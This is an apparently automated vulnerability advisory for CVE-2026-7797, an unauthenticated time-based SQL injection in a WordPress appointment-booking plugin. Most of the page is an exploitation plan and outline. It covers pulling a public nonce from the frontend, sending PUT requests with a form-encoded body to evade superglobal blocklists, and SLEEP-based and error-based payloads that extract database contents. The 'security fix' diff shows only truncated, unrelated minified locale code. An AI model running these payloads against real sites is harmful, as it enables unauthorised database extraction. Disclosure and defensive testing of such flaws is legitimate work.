CVE-2026-7797

Appointment Booking Calendar <= 1.6.11.8 - Unauthenticated SQL Injection via 'append_where_sql' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.6.11.9
Patched in
1d
Time to patch

Description

The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'append_where_sql' parameter in all versions up to, and including, 1.6.11.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The /appointments/bulk REST endpoint is reachable by unauthenticated attackers because its permission check accepts a public nonce that is embedded in the booking widget's frontend JavaScript (ssa.api.public_nonce) and visible to all site visitors; exploitation requires issuing the request as a PUT with an application/x-www-form-urlencoded body so that PHP's superglobals are not populated and the blocklist check silently passes.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.6.11.8
PublishedMay 27, 2026
Last updatedMay 28, 2026

What Changed in the Fix

Changes introduced in v1.6.11.9

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-7797 ## 1. Vulnerability Summary **CVE-2026-7797** is an unauthenticated time-based blind SQL Injection vulnerability in the **Simply Schedule Appointments (slug: simply-schedule-appointments)** plugin for WordPress. The vulnerability exists in the handling of…

Show full research plan

Exploitation Research Plan: CVE-2026-7797

1. Vulnerability Summary

CVE-2026-7797 is an unauthenticated time-based blind SQL Injection vulnerability in the Simply Schedule Appointments (slug: simply-schedule-appointments) plugin for WordPress. The vulnerability exists in the handling of the append_where_sql parameter within the /appointments/bulk REST API endpoint. Due to insufficient escaping and a lack of preparation on the resulting SQL query, an attacker can append arbitrary SQL commands. Furthermore, the endpoint is protected by a "public nonce" meant for the booking widget, which is exposed to all visitors, and can be reached unauthenticated. A specific bypass involving the PUT method and application/x-www-form-urlencoded content type allows the request to evade typical security blocklists that monitor PHP superglobals.

2. Attack Vector Analysis

  • Target Endpoint: /wp-json/ssa/v1/appointments/bulk (Namespace: ssa/v1, Route: /appointments/bulk).
  • HTTP Method: PUT.
  • Authentication: Unauthenticated (requires a valid public nonce).
  • Vulnerable Parameter: append_where_sql.
  • Content-Type Required: application/x-www-form-urlencoded.
  • Preconditions: The plugin must be active. A public nonce must be retrieved from the frontend.

3. Code Flow

  1. Entry Point: The REST API request is received at the /appointments/bulk endpoint. The route is likely registered in an internal REST controller (e.g., SSA_Appointments_REST_Controller, inferred).
  2. Permission Check: The permission_callback for this route checks the X-WP-Nonce header or a nonce parameter. It incorrectly validates against a nonce generated for the public booking widget (action: ssa_api, inferred based on ssa.api.public_nonce).
  3. Bypass Mechanism: By using PUT with application/x-www-form-urlencoded, the payload append_where_sql is not populated into the PHP $_POST superglobal. If a security filter (like a WAF or the plugin's own blocklist check) only inspects $_GET/$_POST, it will see nothing, while the WordPress REST API parses the body and provides the parameter to the controller.
  4. Data Handling: The controller passes the request parameters to the underlying model (SSA_Appointment_Model).
  5. SQL Sink: The parameters are eventually processed in SSA_Db_Model::query() (inferred parent of SSA_Appointment_Model). The append_where_sql string is concatenated directly onto a $wpdb->query() or $wpdb->get_results() call without being passed through $wpdb->prepare().

4. Nonce Acquisition Strategy

The nonce is localized for the frontend booking widget. It is typically found in the global JavaScript object ssa.

  1. Shortcode Identification: The plugin uses the shortcode [ssa_booking] to render the calendar.
  2. Setup: Create a test page containing this shortcode to ensure the scripts are enqueued.
  3. Extraction:
    • Navigate to the page with the [ssa_booking] shortcode.
    • Use browser_eval to extract the public nonce.
    • JavaScript Path: window.ssa?.api?.public_nonce

5. Exploitation Strategy

The goal is to trigger a time-based response to confirm SQL injection.

Step 1: Extract Nonce

Use the browser_navigate and browser_eval tools to visit the page with the booking shortcode and retrieve window.ssa.api.public_nonce.

Step 2: Perform Time-Based Injection

Construct a PUT request to the bulk appointments endpoint.

  • URL: http://localhost:8080/wp-json/ssa/v1/appointments/bulk
  • Method: PUT
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
    append_where_sql=AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
    

Step 3: Verify Extraction (Data Exfiltration)

To exfiltrate the database version:

append_where_sql=AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0)))a)

6. Test Data Setup

  1. Install Plugin: Ensure simply-schedule-appointments (<= 1.6.11.8) is installed.
  2. Create Appointment Type: The plugin might require at least one appointment type to exist for the underlying query to execute properly.
    • wp ssa create_appointment_type --title="Consultation" (inferred CLI command, otherwise use UI).
  3. Create Public Page:
    wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[ssa_booking]'
    

7. Expected Results

  • Control Request: A request with append_where_sql=AND 1=1 should return almost immediately (HTTP 200/400/404 depending on records found).
  • Attack Request: A request with append_where_sql=AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) should result in a response delay of approximately 5 seconds.

8. Verification Steps

After the HTTP request, verify the plugin's vulnerability status:

  1. Check Version:
    wp plugin get simply-schedule-appointments --field=version
    
  2. Monitor Database: If possible, check the MySQL general log to see the malformed query being executed:
    SELECT ... FROM wp_ssa_appointments WHERE ... AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
    

9. Alternative Approaches

  • Method Variation: If PUT fails, try POST with the header X-HTTP-Method-Override: PUT.
  • Parameter Variation: If append_where_sql is filtered, check if other parameters like order_by or group_by (inferred) are similarly vulnerable within the bulk endpoint.
  • Error-Based: If WP_DEBUG is enabled, try inducing a syntax error to see if $wpdb->last_error is reflected in the REST response:
    append_where_sql=AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,version(),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    
Research Findings
Static analysis — not yet PoC-verified

Summary

The Simply Schedule Appointments plugin for WordPress is vulnerable to unauthenticated time-based blind SQL injection via the 'append_where_sql' parameter in the /appointments/bulk REST API endpoint. Attackers can exploit this by using a public nonce exposed in the booking widget to bypass permission checks and using a PUT request to evade security filters that only inspect standard PHP superglobals.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/simply-schedule-appointments/1.6.11.7/admin-app/dist/static/js/app.js /home/deploy/wp-safety.org/data/plugin-versions/simply-schedule-appointments/1.6.11.9/admin-app/dist/static/js/app.js
--- /home/deploy/wp-safety.org/data/plugin-versions/simply-schedule-appointments/1.6.11.7/admin-app/dist/static/js/app.js	2026-05-05 22:25:50.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/simply-schedule-appointments/1.6.11.9/admin-app/dist/static/js/app.js	2026-05-26 22:34:18.000000000 +0000
@@ -1,2 +1,2 @@
-(function(){var e={46700:function(e,t,i){var a={"./af":63906,"./af.js":63906,"./ar":40902,"./ar-dz":3853,"./ar-dz.js":3853,"./ar-kw":20299,"./ar-kw.js":20299,"./ar-ly":96825,"./ar-ly.js":96825,"./ar-ma":66379,"./ar-ma.js":66379,"./ar-sa":87700,"./ar-sa.js":87700,"./ar-tn":2059,"./ar-tn.js":2059,"./ar.js":40902,"./az":76043,"./az.js":76043,"./be":7936,"./be.js":7936,"./bg":34078,"./bg.js":34078,"./bm":14014,"./bm.js":14014,"./bn":29554,"./bn-bd":17114,"./bn-bd.js":17114,"./bn.js":29554,"./bo":6529,"./bo.js":6529,"./br":65437,"./br.js":65437,"./bs":19647,"./bs.js":19647,"./ca":59951,"./ca.js":59951,"./cs":26113,"./cs.js":26113,"./cv":37965,"./cv.js":37965,"./cy":35858,"./cy.js":35858,"./da":33515,"./da.js":33515,"./de":62831,"./de-at":6263,"./de-at.js":6263,"./de-ch":51127,"./de-ch.js":51127,"./de.js":62831,"./dv":4510,"./dv.js":4510,"./el":68616,"./el.js":68616,"./en-au":24595,"./en-au.js":24595,"./en-ca":73545,"./en-ca.js":73545,"./en-gb":79609,"./en-gb.js":79609,"./en-ie":43727,"./en-ie.js":43727,"./en-il":93302,"./en-il.js":93302,"./en-in":46305,"./en-in.js":46305,"./en-nz":39128,"./en-nz.js":39128,"./en-sg":84569,"./en-sg.js":84569,"./eo":50650,"./eo.js":50650,"./es":26358,"./es-do":64214,"./es-do.js":64214,"./es-mx":38639,"./es-mx.js":38639,"./es-us":30232,"./es-us.js":30232,"./es.js":26358,"./et":47279,"./et.js":47279,"./eu":15515,"./eu.js":15515,"./fa":27981,"./fa.js":27981,"./fi":37090,"./fi.js":37090,"./fil":79208,"./fil.js":79208,"./fo":2799,"./fo.js":2799,"./fr":23463,"./fr-ca":2213,"./fr-ca.js":2213,"./fr-ch":52848,"./fr-ch.js":52848,"./fr.js":23463,"./fy":41468,"./fy.js":41468,"./ga":88163,"./ga.js":88163,"./gd":2898,"./gd.js":2898,"./gl":76312,"./gl.js":76312,"./gom-deva":20682,"./gom-deva.js":20682,"./gom-latn":49178,"./gom-latn.js":49178,"./gu":31400,"./gu.js":31400,"./he":52795,"./he.js":52795,"./hi":17009,"./hi.js":17009,"./hr":46506,"./hr.js":46506,"./hu":69565,"./hu.js":69565,"./hy-am":93864,"./hy-am.js":93864,"./id":5626,"./id.js":5626,"./is":36649,"./is.js":36649,"./it":90151,"./it-ch":95348,"./it-ch.js":95348,"./it.js":90151,"./ja":79830,"./ja.js":79830,"./jv":33751,"./jv.js":33751,"./ka":63365,"./ka.js":63365,"./kk":85980,"./kk.js":85980,"./km":99571,"./km.js":99571,"./kn":25880,"./kn.js":25880,"./ko":16809,"./ko.js":16809,"./ku":96773,"./ku.js":96773,"./ky":65505,"./ky.js":65505,"./lb":50553,"./lb.js":50553,"./lo":51237,"./lo.js":51237,"./lt":91563,"./lt.js":91563,"./lv":61057,"./lv.js":61057,"./me":96495,"./me.js":96495,"./mi":83096,"./mi.js":83096,"./mk":43874,"./mk.js":43874,"./ml":46055,"./ml.js":46055,"./mn":87747,"./mn.js":87747,"./mr":17113,"./mr.js":17113,"./ms":8687,"./ms-my":7948,"./ms-my.js":7948,"./ms.js":8687,"./mt":14532,"./mt.js":14532,"./my":4655,"./my.js":4655,"./nb":56961,"./nb.js":56961,"./ne":2512,"./ne.js":2512,"./nl":48448,"./nl-be":72936,"./nl-be.js":72936,"./nl.js":48448,"./nn":49031,"./nn.js":49031,"./oc-lnc":5174,"./oc-lnc.js":5174,"./pa-in":30118,"./pa-in.js":30118,"./pl":93448,"./pl.js":93448,"./pt":33518,"./pt-br":62447,"./pt-br.js":62447,"./pt.js":33518,"./ro":70817,"./ro.js":70817,"./ru":10262,"./ru.js":10262,"./sd":58990,"./sd.js":58990,"./se":43842,"./se.js":43842,"./si":37711,"./si.js":37711,"./sk":80756,"./sk.js":80756,"./sl":3772,"./sl.js":3772,"./sq":6187,"./sq.js":6187,"./sr":40732,"./sr-cyrl":75713,"./sr-cyrl.js":75713,"./sr.js":40732,"./ss":99455,"./ss.js":99455,"./sv":69770,"./sv.js":69770,"./sw":80959,"./sw.js":80959,"./ta":36459,"./ta.js":36459,"./te":25302,"./te.js":25302,"./tet":67975,"./tet.js":67975,"./tg":71294,"./tg.js":71294,"./th":2385,"./th.js":2385,"./tk":24613,"./tk.js":24613,"./tl-ph":58668,"./tl-ph.js":58668,"./tlh":58190,"./tlh.js":58190,"./tr":74506,"./tr.js":74506,"./tzl":63440,"./tzl.js":63440,"./tzm":69852,"./tzm-latn":42350,"./tzm-latn.js":42350,"./tzm.js":69852,"./ug-cn":70730,"./ug-cn.js":70730,"./uk":40099,"./uk.js":40099,"./ur":72100,"./ur.js":72100,"./uz":96002,"./uz-latn":26322,"./uz-latn.js":26322,"./uz.js":96002,"./vi":14207,"./vi.js":14207,"./x-pseudo":24674,"./x-pseudo.js":24674,"./yo":10570,"./yo.js":10570,"./zh-cn":73644,"./zh-cn.js":73644,"./zh-hk":22591,"./zh-hk.js":22591,"./zh-mo":89503,"./zh-mo.js":89503,"./zh-tw":88080,"./zh-tw.js":88080};function o(e){var t=r(e);return i(t)}function r(e){if(!i.o(a,e)){var t=new Error("Cannot find module '"+e+"'");throw t.code="MODULE_NOT_FOUND",t}return a[e]}o.keys=function(){return Object.keys(a)},o.resolve=r,e.exports=o,o.id=46700} ... (truncated)

Exploit Outline

1. Navigate to any page on the target site containing the Simply Schedule Appointments booking shortcode ([ssa_booking]). 2. Extract the public nonce from the global JavaScript object: 'window.ssa.api.public_nonce'. 3. Issue a PUT request to the REST API endpoint '/wp-json/ssa/v1/appointments/bulk'. 4. Set the 'Content-Type' header to 'application/x-www-form-urlencoded' to bypass superglobal-based blocklists. 5. Include the 'X-WP-Nonce' header with the value of the extracted public nonce. 6. Provide the SQL injection payload in the 'append_where_sql' parameter within the request body (e.g., 'AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'). 7. Use time delays in the response to verify the vulnerability and exfiltrate database content.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.